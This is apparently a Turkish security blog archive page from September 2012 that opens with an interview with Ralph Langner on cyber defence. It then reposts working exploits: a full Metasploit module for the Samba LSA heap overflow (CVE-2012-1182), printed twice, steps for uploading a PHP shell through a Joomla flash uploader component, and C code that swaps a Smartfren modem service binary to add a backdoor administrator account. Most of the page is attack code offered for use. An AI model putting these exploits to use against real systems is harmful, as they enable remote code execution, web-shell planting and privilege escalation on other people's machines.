Archive for 28 Eylül 2012

Ralph Langner’den Siber Saldırılara Karşı Korunmanın ipuçları

Siber saldırıdan korunmanın yolu:

  • İran Nükleer Programı’na yönelik STUXNET virüsünü çözümlemesiyle dünya çapında ünlenen bilgi güvenliği uzmanı Ralph Langner, siber saldırılardan korunmanın ipuçlarını verdi.

    11-13 Eylül’de İstanbul’da düzenlenen ICT Summit Eurasia Bilişim Zirvesi’nde bilişimin geleceğinde çizilecek yol haritaları ve teknolojilerin eğitim, finans, sağlık eğlence ve girişim gibi alanlarda ivmelendireceği dönüşüm mercek altına alındı.

    30 ülkeden binlerce profesyoneli bir araya getiren zirvenin konuklarından biri de bilgi güvenliği uzmanı Ralph Langner’di. İnternet üzerinde faaliyet yürüten suç örgütleri ya da kişilerin devlet ve şirketler kadar bireyler için de tehdit oluşturmaya başladığı biliniyor. Siber güvenlik alanında son yıllarda yaşanan en büyük saldırılardan biri olan İran Nükleer Programı’na yönelik STUXNET virüsünü çözümlemesiyle dünya çapında ünlenen Langner’e göre korunmanın anahtarı, “Bana bir şey olmaz” anlayışından kurtulmak. Langner soruları yanıtladı:

    Stuxnet virüsünü kırma başarınızın sırrı nedir?

    Langner: Sır, “sırrın olmayışı.” Bunu başarmak için sihirli bir değnek, ya da tek bir ürün alıp mucizeler yaratamazsınız. Bu kadar kolay değil. Siber savunma düşünülmediğinden, aynı hatalar tekrarlanıyor. Güvensiz korunma yapılarını yeniden uygulamamalıyız. Başımıza geldiğinde ne yapabilirim diye düşünmeye başlamamalıyız. Bekleyip görelim stratejisi doğru değil.

    Siber ataklara karşı karar alıcıların görevi nedir?

    Langner: Savaş durumunda ulus devletlere daha çok rol düşer. Bugün hükümetler siber savaş girişimlerinde bulunmak için yatırım yapıyorlar, ancak savunma girişimlerine yatırım yapmıyorlar. Dünyada aşağı yukarı 10-20 ülke siber savaş girişimlerine karşı savunma çalışmalarında bulunuyorlar. Saldırının en iyi savunma olduğunu düşünenler var, ancak bu siber dünyada mümkün değil. Pasif savunmadan, korunmadan söz ediyorum. Küçük büyük tüm ülkeler için geçerli.

    Yapılan en büyük hatalar neler?

    Langner: Nükleerden korunmak için herhangi bir yer olmayabilir, ama siber saldırıdan korunmak mümkün. Siber savaşlar ile su, trafik gibi kritik altyapılar saldırılara açık durumda. Yapılan en büyük hata, kültürde: “Bize bir şey olmaz, kimse bize saldırmaz” düşüncesi. Saldırının nereden ve ne şiddette geleceğini bilemeyiz. Korunmak mümkün, zaman, çaba ve para geliyor. Regülasyonlar geliştirilmeli. Korkarım ciddi bir atak olmadan kapsamlı bir korumaya kavuşamayacağız ya da uygulanması uzun zaman alacak.

    Siber saldırı düzenlenemeyecek bir yapı var mı?

    Langner: Var, örneğin telekomünikasyon endüstrisinde korumanız gereken sistemler oldukça karmaşık. Ancak elektrik üretim sistemlerinde daha kolay, çünkü sistemler daha basit.

    Türkiye’de siber saldırılardan korunmak üzere ciddi bir yapı yok. Bu tür yapılar hangi ülkelerde var?

    Langner: ABD’de var. Almanya’da da Ulusal Siber Savunma Merkezi bulunuyor. ABD’de görevleri siber savunma sağlamak olan bin kişi çalışıyor, Almanya’dakinde ise sadece 10… Daha çok kaynağa sahip olmalıyız.

    Gelecekte ne tür siber silahlar ve yeni aktörler görebiliriz?

    Langner: Geleceği tahmin etmek zor. Ancak siber silah teknolojilerinin tedarikinin hackerlar, teröristler, suç örgütleri için çok kolay olması endişelendirici. Para kazanmak isteyen herkes yapabilir. Siber teknolojiler sadece kodlardan oluşuyor ve tümü kopya edilebiliyor. Büyük siber terörist grupları kimya fabrikalara saldırabilir ve zehirli, ölümcül maddelerin çevreye yayılmasına neden olabilirler. Siber teröristler, yol açtığı sonuçlardan çok, neler yapabileceklerini halka göstermek isterler.

    Siz bir siber terörist olsaydınız, nereye saldırırdınız?

    Langner: Öncelikle bunu yapmayacağımı söylemek isterim, bu bir karakter meselesi. Stuxnet’i bu kadar kısa sürede analiz etmemin nedeni, bunun olmasını beklemem. Siber savaşta mücadelenin ana noktası, korunmanın mümkün olduğunun ve sadece korunmasız sistemlere saldırılacağının anlaşılması.

Samba SetInformationPolicy AuditEventsInfo Heap Overflow

Samba SetInformationPolicy AuditEventsInfo Heap Overflow remote exploit (linux)
açığı ilişkin açıklamalar ve exploit

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::DCERPC
  include Msf::Exploit::Remote::SMB
  include Msf::Exploit::Brute

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Samba SetInformationPolicy AuditEventsInfo Heap Overflow',
      'Description'    => %q{
          This module triggers a vulnerability in the LSA RPC service of the Samba daemon
        because of an error on the PIDL auto-generated code. Making a specially crafted
        call to SetInformationPolicy to set a PolicyAuditEventsInformation allows to
        trigger a heap overflow and finally execute arbitrary code with root privileges.

        The module uses brute force to guess the system() address and redirect flow there
        in order to bypass NX. The start and stop addresses for brute forcing have been
        calculated empirically. On the other hand the module provides the StartBrute and
        StopBrute which allow the user to configure his own addresses.
      },
      'Author'         =>
        [
          'Unknown', # Vulnerability discovery
          'blasty', # Exploit
          'sinn3r', # Metasploit module
          'juan vazquez' # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2012-1182'],
          ['OSVDB', '81303'],
          ['BID', '52973'],
          ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-069/']
        ],
      'Privileged'     => true,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 811,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic bash telnet python perl',
            }
        },
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'        =>
        [
          # gdb /usr/sbin/smbd `ps auwx | grep smbd | grep -v grep | head -n1 | awk '{ print $2 }'` <<< `echo -e "print system"` | grep '$1'
          ['2:3.5.11~dfsg-1ubuntu2 and 2:3.5.8~dfsg-1ubuntu2 on Ubuntu 11.10',
            {
              'Offset' => 0x11c0,
              'Bruteforce' =>
              {
                # The start for the final version should be 0xb20 aligned, and then step 0x1000.
                'Start' => { 'Ret' => 0x00230b20 },
                'Stop'  => { 'Ret' => 0x22a00b20 },
                'Step'  => 0x1000,
              }
            }
          ],
          ['2:3.5.8~dfsg-1ubuntu2 and 2:3.5.4~dfsg-1ubuntu8 on Ubuntu 11.04',
            {
              'Offset' => 0x11c0,
              'Bruteforce' =>
              {
                # The start should be 0x950 aligned, and then step 0x1000.
                'Start' => { 'Ret' => 0x00230950 },
                'Stop'  => { 'Ret' => 0x22a00950 },
                'Step'  => 0x1000,
              }
            }
          ],
          ['2:3.5.4~dfsg-1ubuntu8 on Ubuntu 10.10',
            {
              'Offset' => 0x11c0,
              'Bruteforce' =>
              {
                # The start should be 0x680 aligned, and then step 0x1000.
                'Start' => { 'Ret' => 0x00230680 },
                'Stop'  => { 'Ret' => 0x22a00680 },
                'Step'  => 0x1000,
              }
            }
          ]
        ],
      'DisclosureDate' => 'Apr 10 2012',
      'DefaultTarget'  => 0,
      ))

    register_options([
      OptInt.new("StartBrute", [ false, "Start Address For Brute Forcing" ]),
      OptInt.new("StopBrute", [ false, "Stop Address For Brute Forcing" ])
    ], self.class)

  end

  def exploit
    if target.bruteforce?
      bf = target.bruteforce

      if datastore['StartBrute'] and datastore['StartBrute'] > 0
        bf.start_addresses['Ret'] = datastore['StartBrute']
      end

      if datastore['StopBrute'] and datastore['StopBrute'] > 0
        bf.stop_addresses['Ret'] = datastore['StopBrute']
      end

      if bf.start_addresses['Ret'] > bf.stop_addresses['Ret']
        raise ArgumentError, "StartBrute should not be larger than StopBrute"
      end
    end
    super
  end

  def check
    begin
      connect()
      smb_login()
      disconnect()

      version = smb_peer_lm().scan(/Samba (d.d.d*)/).flatten[0]
      minor   = version.scan(/.(d*)$/).flatten[0].to_i
      print_status("Version found: #{version}")

      return Exploit::CheckCode::Appears if version =~ /^3.4/ and minor < 16
      return Exploit::CheckCode::Appears if version =~ /^3.5/ and minor < 14
      return Exploit::CheckCode::Appears if version =~ /^3.6/ and minor < 4

      return Exploit::CheckCode::Safe

    rescue ::Exception
      return CheckCode::Unknown
    end
  end

  def brute_exploit(target_addrs)

    print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['Ret'])
    datastore['DCERPC::fake_bind_multi'] = false
    datastore['DCERPC::max_frag_size'] = 4248

    pipe = "lsarpc"

    print_status("Connecting to the SMB service...")
    connect()
    print_status("Login to the SMB service...")
    smb_login()

    handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\#{pipe}"])
    print_status("Binding to #{handle} ...")
    dcerpc_bind(handle)
    print_status("Bound to #{handle} ...")

    stub = "X" * 20

    cmd = ";;;;" # padding
    cmd << "#{payload.encoded}x00" # system argument
    tmp = cmd * (816/cmd.length)
    tmp << "x00"*(816-tmp.length)

    stub << NDR.short(2)     # level
    stub << NDR.short(2)     # level 2
    stub << NDR.long(1)      # auditing mode
    stub << NDR.long(1)      # ptr
    stub << NDR.long(100000) # r-> count
    stub << NDR.long(20)     # array size
    stub << NDR.long(0)
    stub << NDR.long(100)
    stub << rand_text_alpha(target['Offset'])
    # Crafted talloc chunk
    stub << 'A' * 8                       # next, prev
    stub << NDR.long(0) + NDR.long(0)     # parent, child
    stub << NDR.long(0)                   # refs
    stub << NDR.long(target_addrs['Ret']) # destructor # will become EIP
    stub << NDR.long(0)                   # name
    stub << "AAAA"                        # size
    stub << NDR.long(0xe8150c70)          # flags
    stub << "AAAABBBB"
    stub << tmp # pointer to tmp+4 in $esp
    stub << rand_text(32632)
    stub << rand_text(62000)

    print_status("Calling the vulnerable function...")

    begin
      call(dcerpc, 0x08, stub)
    rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError
      print_status('Server did not respond, this is expected')
    rescue Rex::Proto::DCERPC::Exceptions::Fault
      print_error('Server is most likely patched...')
    rescue => e
      if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
        print_status('Server disconnected, this is expected')
      end
    end

    handler
    disconnect
  end

  # Perform a DCE/RPC Function Call
  def call(dcerpc, function, data, do_recv = true)

    frag_size = data.length
    if dcerpc.options['frag_size']
      frag_size = dcerpc.options['frag_size']
    end
    object_id = ''
    if dcerpc.options['object_call']
      object_id = dcerpc.handle.uuid[0]
    end
    if options['random_object_id']
      object_id = Rex::Proto::DCERPC::UUID.uuid_unpack(Rex::Text.rand_text(16))
    end

    call_packets = make_request(function, data, frag_size, dcerpc.context, object_id)
    call_packets.each { |packet|
      write(dcerpc, packet)
    }

    return true if not do_recv

    raw_response = ''

    begin
      raw_response = dcerpc.read()
    rescue ::EOFError
      raise Rex::Proto::DCERPC::Exceptions::NoResponse
    end

    if (raw_response == nil or raw_response.length == 0)
      raise Rex::Proto::DCERPC::Exceptions::NoResponse
    end


    dcerpc.last_response = Rex::Proto::DCERPC::Response.new(raw_response)

    if dcerpc.last_response.type == 3
      e = Rex::Proto::DCERPC::Exceptions::Fault.new
      e.fault = dcerpc.last_response.status
      raise e
    end

    dcerpc.last_response.stub_data
  end

  # Used to create standard DCERPC REQUEST packet(s)
  def make_request(opnum=0, data="", size=data.length, ctx=0, object_id = '')

    opnum = opnum.to_i
    size = size.to_i
    ctx   = ctx.to_i

    chunks, frags = [], []
    ptr = 0

    # Break the request into fragments of 'size' bytes
    while ptr < data.length
      chunks.push( data[ ptr, size ] )
      ptr += size
    end

    # Process requests with no stub data
    if chunks.length == 0
      frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, '', ctx, object_id) )
      return frags
    end

    # Process requests with only one fragment
    if chunks.length == 1
      frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, chunks[0], ctx, object_id) )
      return frags
    end

    # Create the first fragment of the request
    frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(1, opnum, chunks.shift, ctx, object_id) )

    # Create all of the middle fragments
    while chunks.length != 1
      frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(0, opnum, chunks.shift, ctx, object_id) )
    end

    # Create the last fragment of the request
    frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(2, opnum, chunks.shift, ctx, object_id) )

    return frags
  end

  # Write data to the underlying socket
  def write(dcerpc, data)
    dcerpc.socket.write(data)
    data.length
  end

end

Samba SetInformationPolicy AuditEventsInfo Heap Overflow

Samba SetInformationPolicy AuditEventsInfo Heap Overflow remote exploit (linux)
açığı ilişkin açıklamalar ve exploit

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::DCERPC
  include Msf::Exploit::Remote::SMB
  include Msf::Exploit::Brute

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Samba SetInformationPolicy AuditEventsInfo Heap Overflow',
      'Description'    => %q{
          This module triggers a vulnerability in the LSA RPC service of the Samba daemon
        because of an error on the PIDL auto-generated code. Making a specially crafted
        call to SetInformationPolicy to set a PolicyAuditEventsInformation allows to
        trigger a heap overflow and finally execute arbitrary code with root privileges.

        The module uses brute force to guess the system() address and redirect flow there
        in order to bypass NX. The start and stop addresses for brute forcing have been
        calculated empirically. On the other hand the module provides the StartBrute and
        StopBrute which allow the user to configure his own addresses.
      },
      'Author'         =>
        [
          'Unknown', # Vulnerability discovery
          'blasty', # Exploit
          'sinn3r', # Metasploit module
          'juan vazquez' # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2012-1182'],
          ['OSVDB', '81303'],
          ['BID', '52973'],
          ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-069/']
        ],
      'Privileged'     => true,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 811,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic bash telnet python perl',
            }
        },
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'        =>
        [
          # gdb /usr/sbin/smbd `ps auwx | grep smbd | grep -v grep | head -n1 | awk '{ print $2 }'` <<< `echo -e "print system"` | grep '$1'
          ['2:3.5.11~dfsg-1ubuntu2 and 2:3.5.8~dfsg-1ubuntu2 on Ubuntu 11.10',
            {
              'Offset' => 0x11c0,
              'Bruteforce' =>
              {
                # The start for the final version should be 0xb20 aligned, and then step 0x1000.
                'Start' => { 'Ret' => 0x00230b20 },
                'Stop'  => { 'Ret' => 0x22a00b20 },
                'Step'  => 0x1000,
              }
            }
          ],
          ['2:3.5.8~dfsg-1ubuntu2 and 2:3.5.4~dfsg-1ubuntu8 on Ubuntu 11.04',
            {
              'Offset' => 0x11c0,
              'Bruteforce' =>
              {
                # The start should be 0x950 aligned, and then step 0x1000.
                'Start' => { 'Ret' => 0x00230950 },
                'Stop'  => { 'Ret' => 0x22a00950 },
                'Step'  => 0x1000,
              }
            }
          ],
          ['2:3.5.4~dfsg-1ubuntu8 on Ubuntu 10.10',
            {
              'Offset' => 0x11c0,
              'Bruteforce' =>
              {
                # The start should be 0x680 aligned, and then step 0x1000.
                'Start' => { 'Ret' => 0x00230680 },
                'Stop'  => { 'Ret' => 0x22a00680 },
                'Step'  => 0x1000,
              }
            }
          ]
        ],
      'DisclosureDate' => 'Apr 10 2012',
      'DefaultTarget'  => 0,
      ))

    register_options([
      OptInt.new("StartBrute", [ false, "Start Address For Brute Forcing" ]),
      OptInt.new("StopBrute", [ false, "Stop Address For Brute Forcing" ])
    ], self.class)

  end

  def exploit
    if target.bruteforce?
      bf = target.bruteforce

      if datastore['StartBrute'] and datastore['StartBrute'] > 0
        bf.start_addresses['Ret'] = datastore['StartBrute']
      end

      if datastore['StopBrute'] and datastore['StopBrute'] > 0
        bf.stop_addresses['Ret'] = datastore['StopBrute']
      end

      if bf.start_addresses['Ret'] > bf.stop_addresses['Ret']
        raise ArgumentError, "StartBrute should not be larger than StopBrute"
      end
    end
    super
  end

  def check
    begin
      connect()
      smb_login()
      disconnect()

      version = smb_peer_lm().scan(/Samba (\d\.\d.\d*)/).flatten[0]
      minor   = version.scan(/\.(\d*)$/).flatten[0].to_i
      print_status("Version found: #{version}")

      return Exploit::CheckCode::Appears if version =~ /^3\.4/ and minor < 16
      return Exploit::CheckCode::Appears if version =~ /^3\.5/ and minor < 14
      return Exploit::CheckCode::Appears if version =~ /^3\.6/ and minor < 4

      return Exploit::CheckCode::Safe

    rescue ::Exception
      return CheckCode::Unknown
    end
  end

  def brute_exploit(target_addrs)

    print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['Ret'])
    datastore['DCERPC::fake_bind_multi'] = false
    datastore['DCERPC::max_frag_size'] = 4248

    pipe = "lsarpc"

    print_status("Connecting to the SMB service...")
    connect()
    print_status("Login to the SMB service...")
    smb_login()

    handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])
    print_status("Binding to #{handle} ...")
    dcerpc_bind(handle)
    print_status("Bound to #{handle} ...")

    stub = "X" * 20

    cmd = ";;;;" # padding
    cmd << "#{payload.encoded}\x00" # system argument
    tmp = cmd * (816/cmd.length)
    tmp << "\x00"*(816-tmp.length)

    stub << NDR.short(2)     # level
    stub << NDR.short(2)     # level 2
    stub << NDR.long(1)      # auditing mode
    stub << NDR.long(1)      # ptr
    stub << NDR.long(100000) # r-> count
    stub << NDR.long(20)     # array size
    stub << NDR.long(0)
    stub << NDR.long(100)
    stub << rand_text_alpha(target['Offset'])
    # Crafted talloc chunk
    stub << 'A' * 8                       # next, prev
    stub << NDR.long(0) + NDR.long(0)     # parent, child
    stub << NDR.long(0)                   # refs
    stub << NDR.long(target_addrs['Ret']) # destructor # will become EIP
    stub << NDR.long(0)                   # name
    stub << "AAAA"                        # size
    stub << NDR.long(0xe8150c70)          # flags
    stub << "AAAABBBB"
    stub << tmp # pointer to tmp+4 in $esp
    stub << rand_text(32632)
    stub << rand_text(62000)

    print_status("Calling the vulnerable function...")

    begin
      call(dcerpc, 0x08, stub)
    rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError
      print_status('Server did not respond, this is expected')
    rescue Rex::Proto::DCERPC::Exceptions::Fault
      print_error('Server is most likely patched...')
    rescue => e
      if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
        print_status('Server disconnected, this is expected')
      end
    end

    handler
    disconnect
  end

  # Perform a DCE/RPC Function Call
  def call(dcerpc, function, data, do_recv = true)

    frag_size = data.length
    if dcerpc.options['frag_size']
      frag_size = dcerpc.options['frag_size']
    end
    object_id = ''
    if dcerpc.options['object_call']
      object_id = dcerpc.handle.uuid[0]
    end
    if options['random_object_id']
      object_id = Rex::Proto::DCERPC::UUID.uuid_unpack(Rex::Text.rand_text(16))
    end

    call_packets = make_request(function, data, frag_size, dcerpc.context, object_id)
    call_packets.each { |packet|
      write(dcerpc, packet)
    }

    return true if not do_recv

    raw_response = ''

    begin
      raw_response = dcerpc.read()
    rescue ::EOFError
      raise Rex::Proto::DCERPC::Exceptions::NoResponse
    end

    if (raw_response == nil or raw_response.length == 0)
      raise Rex::Proto::DCERPC::Exceptions::NoResponse
    end


    dcerpc.last_response = Rex::Proto::DCERPC::Response.new(raw_response)

    if dcerpc.last_response.type == 3
      e = Rex::Proto::DCERPC::Exceptions::Fault.new
      e.fault = dcerpc.last_response.status
      raise e
    end

    dcerpc.last_response.stub_data
  end

  # Used to create standard DCERPC REQUEST packet(s)
  def make_request(opnum=0, data="", size=data.length, ctx=0, object_id = '')

    opnum = opnum.to_i
    size = size.to_i
    ctx   = ctx.to_i

    chunks, frags = [], []
    ptr = 0

    # Break the request into fragments of 'size' bytes
    while ptr < data.length
      chunks.push( data[ ptr, size ] )
      ptr += size
    end

    # Process requests with no stub data
    if chunks.length == 0
      frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, '', ctx, object_id) )
      return frags
    end

    # Process requests with only one fragment
    if chunks.length == 1
      frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, chunks[0], ctx, object_id) )
      return frags
    end

    # Create the first fragment of the request
    frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(1, opnum, chunks.shift, ctx, object_id) )

    # Create all of the middle fragments
    while chunks.length != 1
      frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(0, opnum, chunks.shift, ctx, object_id) )
    end

    # Create the last fragment of the request
    frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(2, opnum, chunks.shift, ctx, object_id) )

    return frags
  end

  # Write data to the underlying socket
  def write(dcerpc, data)
    dcerpc.socket.write(data)
    data.length
  end

end

Joomla Component com_joomla_flash_uploader Remote File Upload

Joomla com_joomla_flash_uploader eklentisinde bulunan açık sayesinde uzaktan dosya upload edilebiliyor.
Uzaktan upload edilebilen php shell scriptlerin tehlikelerinden daha önce bahsetmiştim.

First Go to ==> http://localhost/index.php?option=com_joomla_flash_uploader&Itemid=[id]

 You Will Find a Flash Uploader 
  
 Or Go To http://localhost/administrator/components/com_joomla_flash_uploader/tfu/tfu_210.swf
 
 You Can Upload Your Shell.php or shell.php.jpg
 
 In The Flash Uploader you'll see  Your Shell !! 

 4 example ==> Upload folder: ./images/stories/ ==> Your shell => http://localhost//images/stories/shell.php

Smartfren Connex EC 1261-2 UI OUC Local Privilege Escalation Vulnerability

Smartfren Connex EC 1261-2 UI OUC Local Privilege Escalation açığı ve local exploit. Microsoft Windows 7 Ultimate 64 Bit te test edilmiş olup, açığa ilişkin anlıtımları aşağıdaki gibidir.

==========================================================================
Smartfren Connex EC 1261-2 UI OUC Local Privilege Escalation Vulnerability
==========================================================================
 
:-------------------------------------------------------------------------------------------------------------------------------------:
: # Exploit Title : Smartfren Connex EC 1261-2 UI OUC Local Privilege Escalation Vulnerability
: # Date : 26 September 2012
: # Author : X-Cisadane
: # Software Link : http://www.smartfren.com/data/ec1261.html 
: # File Version : 21.005.15.03.836 
: # Category : Desktop (Windows) Applications
: # Platform : Win32 & Win64
: # Vulnerability : Local Privilege Escalation Vulnerability
: # Tested On : Microsoft Windows 7 Ultimate 64 Bit (EN)
: # Greetz to : X-Code, Borneo Crew, Depok Cyber, Explore Crew, CodeNesia, Bogor-H, Jakarta Anonymous Club, Jabarcyber, Winda utari
:-------------------------------------------------------------------------------------------------------------------------------------:
Summary
========
Smartfren Connex EC 1261-2 UI OUC is part of Smartfren Connex EC USB EVDO Modem files.
Smartfren Connex EC 1261-2 UI OUC is a daemon for updating the USB EVDO Modem files of Smartfren Connex.
 
Description
===========
Improper file permissions on executable file of the application could result on Local Privilege Escalation Vulnerability.
It can be used by a simple user that can change the executable file with a binary of choice.
The binary (ouc.exe) is set by default to Startup and will be executed with SYSTEM privileges.
Tested on : Microsoft Windows 7 Ultimate 64 Bit (EN).
 
Proof of Concept
================
C:\Program Files (x86)\Smartfren Connex EC1261-2 UI\UpdateDog>>cacls ouc.exe
C:\Program Files (x86)\Smartfren Connex EC1261-2 UI\UpdateDog\ouc.exe   Everyone:F
                                    BUILTIN\Users:F
                                                                        NT AUTHORITY\SYSTEM:(ID)F
                                                                        BUILTIN\Administrators:(ID)F
 
C:\Program Files (x86)\Smartfren Connex EC1261-2 UI\UpdateDog>sc qc "Smartfren Connex EC1261-2 UI. RunOuc"
[SC] QueryServiceConfig SUCCESS
 
SERVICE_NAME: Smartfren Connex EC1261-2 UI. RunOuc
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Smartfren Connex EC1261-2 UI\UpdateDog\ouc.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Smartfren Connex EC1261-2 UI. OUC
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
 
----------------------------------------------------------------------------------------------
The following attack scenario could be used :
1. An attacker (unprivileged user) rename Smartfren Connex EC1261-2 UI. OUC program file.
For example, the Smartfren Connex EC1261-2 UI. OUC program file could be :
For Win32 ---> X:\Program Files\Smartfren Connex EC1261-2 UI\UpdateDog\ouc.exe (Smartfren Connex EC1261-2 UI Update Manager)
For Win64 ---> X:\Program Files (x86)\Smartfren Connex EC1261-2 UI\UpdateDog\ouc.exe (Smartfren Connex EC1261-2 UI Update Manager)
Rename the file to ouc.exe.old
2. An attacker copies his malicious executable file (with same name as the old filename of the FILE - ouc.exe) in the same location.
3. Restart the system.
After restart attackers malicious file will be executed with SYSTEM privileges.
 
You can also do it with these simple program :
------------------------------------- [ CUT HERE ] -------------------------------------------
Compile these script below with Dev-C++
Save in the C:\sploit.cpp
 
#include <stdio.h>
#include <windows.h>
#define DEFAULT_TARGET  "C:\\Program Files (x86)\\Smartfren Connex EC1261-2 UI\\UpdateDog\\ouc.exe"
#define DEFAULT_BACKUP  "C:\\Program Files (x86)\\Smartfren Connex EC1261-2 UI\\UpdateDog\\ouc.exe.old"
#define DEFAULT_EXECUTE "C:\\bin.exe"
int main(int argc, char *argv[])
{
 
     MoveFile(DEFAULT_TARGET, DEFAULT_BACKUP);
     CopyFile(DEFAULT_EXECUTE, DEFAULT_TARGET, FALSE);
     return 0;
}
  
 
Compile these script below with Dev-C++
Save in the C:\bin.cpp
 
#include <stdio.h>
#include <windows.h>
#define CMD "C:\\WINDOWS\\system32\\cmd.exe"
#define ONE "/C net user xcisadane xcisadane /add"
#define TWO "/C net localgroup administrators xcisadane /add"
int main(int argc, char *argv[])
{
STARTUPINFO si = {sizeof(STARTUPINFO)};
PROCESS_INFORMATION pi;
     CreateProcess(CMD, ONE, NULL, NULL, 0, 0, NULL, NULL, &si, &pi);
     CreateProcess(CMD, TWO, NULL, NULL, 0, 0, NULL, NULL, &si, &pi);
     return 0;
}
------------------------------------- [ CUT HERE ] -------------------------------------------
Execute file sploit.exe that located in C:\
Reboot your Windows. After reboot, let's check Net User from Command Prompt, if there an user with name xcisadane, so you have successfully!
P.S : For Win32 please change Program Files (x86) to Program Files.